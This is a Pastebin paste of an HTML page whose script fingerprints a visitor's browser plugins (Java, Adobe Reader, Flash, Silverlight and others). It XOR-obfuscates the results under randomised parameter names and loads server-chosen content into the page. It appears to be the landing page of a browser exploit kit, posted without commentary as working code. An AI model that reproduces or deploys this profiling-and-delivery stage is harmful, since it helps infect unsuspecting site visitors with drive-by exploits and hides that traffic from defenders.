Advertisement
Guest User

Untitled

a guest
Mar 27th, 2013
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.58 KB | None | 0 0
  1. <!DOCTYPE HTML>
  2. <html>
  3. <head>
  4. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
  5. <script type="text/javascript" src="scripts/js/plugin_detector.js"></script>
  6. <script type="text/javascript">
  7. $(document).ready(function() {
  8. qweqwewqe('515245e3aaa2cbaa2a00002b');
  9. });
  10.  
  11. function qweqwewqe(hid) {
  12. var info = {
  13. plugins : {
  14. java: plg_all_vers('Java'),
  15. adobe_reader: plg_ver('AdobeReader'),
  16. flash: plg_ver('Flash'),
  17. quick_time: plg_ver('QuickTime'),
  18. real_player: plg_ver('RealPlayer'),
  19. shockwave: plg_ver('Shockwave'),
  20. silver_light: plg_ver('Silverlight'),
  21. vlc: plg_ver('VLC'),
  22. wmp: plg_ver('WMP')
  23. }
  24. }
  25.  
  26. var pass = rnd_str(1+Math.floor(Math.random()*10));
  27. var obj = {};
  28. obj["h"+rnd_str(1+Math.floor(Math.random()*10))] = hid; // host id
  29. obj["p"+rnd_str(1+Math.floor(Math.random()*10))] = pass; // XOR pass
  30. obj["i"+rnd_str(1+Math.floor(Math.random()*10))] = kor(JSON.stringify(info), pass);
  31.  
  32. $("body").load("c"+rnd_str(1+Math.floor(Math.random()*10)), obj);
  33. }
  34.  
  35. function plg_all_vers(name) {
  36. var info = PluginDetect.getInfo(name);
  37. var vers = info.All_versions;
  38. if(!vers)
  39. return '';
  40. return info.All_versions.join(';')
  41. }
  42.  
  43. function plg_ver(name) {
  44. var info = PluginDetect.getVersion(name);
  45. return info;
  46. }
  47.  
  48. function rnd_str(len) {
  49. len++;
  50. var result = [];
  51. var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
  52. while (--len) {
  53. result.push(chars.charAt(Math.floor(Math.random() * chars.length)));
  54. }
  55. return result.join('');
  56. }
  57.  
  58.  
  59.  
  60. function kor(input, pass) {
  61. var output = "";
  62. var i = 0;
  63. var pos = 0;
  64. for (i = 0; i < input.length; i++){
  65. pos = Math.floor(i%pass.length);
  66. output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
  67. }
  68. return output;
  69. }
  70.  
  71. JSON.stringify = JSON.stringify || function (obj) {
  72. var t = typeof (obj);
  73. if (t != "object" || obj === null) {
  74. // simple data type
  75. if (t == "string") obj = '"'+obj+'"';
  76. return String(obj);
  77. }
  78. else {
  79. // recurse array or object
  80. var n, v, json = [], arr = (obj && obj.constructor == Array);
  81. for (n in obj) {
  82. v = obj[n]; t = typeof(v);
  83. if (t == "string") v = '"'+v+'"';
  84. else if (t == "object" && v !== null) v = JSON.stringify(v);
  85. json.push((arr ? "" : '"' + n + '":') + String(v));
  86. }
  87. return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
  88. }
  89. };
  90.  
  91.  
  92. </script>
  93. </head>
  94. <body>
  95. </body>
  96. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement